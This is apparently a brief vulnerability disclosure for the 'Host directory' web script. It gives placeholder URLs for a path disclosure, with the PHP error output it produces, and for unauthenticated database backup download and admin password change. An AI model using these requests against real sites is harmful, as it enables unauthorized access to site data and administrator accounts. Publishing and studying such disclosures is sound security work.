Host directory full disclosure and input error

[hack2prison () yahoo com]

Host directory is a product of scriptsfrenzy.com and alstrasoft.com
I check lastest version and maybe infected lower versions. I contacted 
vendor 5 times in 2 months but not received any replies.
- FullPath disclosure: http://site.ext/path/ANY_INCORRECT_LINK
Warning: main(/home/user/public_html/include/ANY_INCORRECT_LINK.php): 
failed to open stream: No such file or directory in 
/home/user/public_html/include/main.php on line 25
- Backup database bypass: http://site.ext/path/admin/backup/db
- Change admin password without login: 
http://site.ext/path/admin/config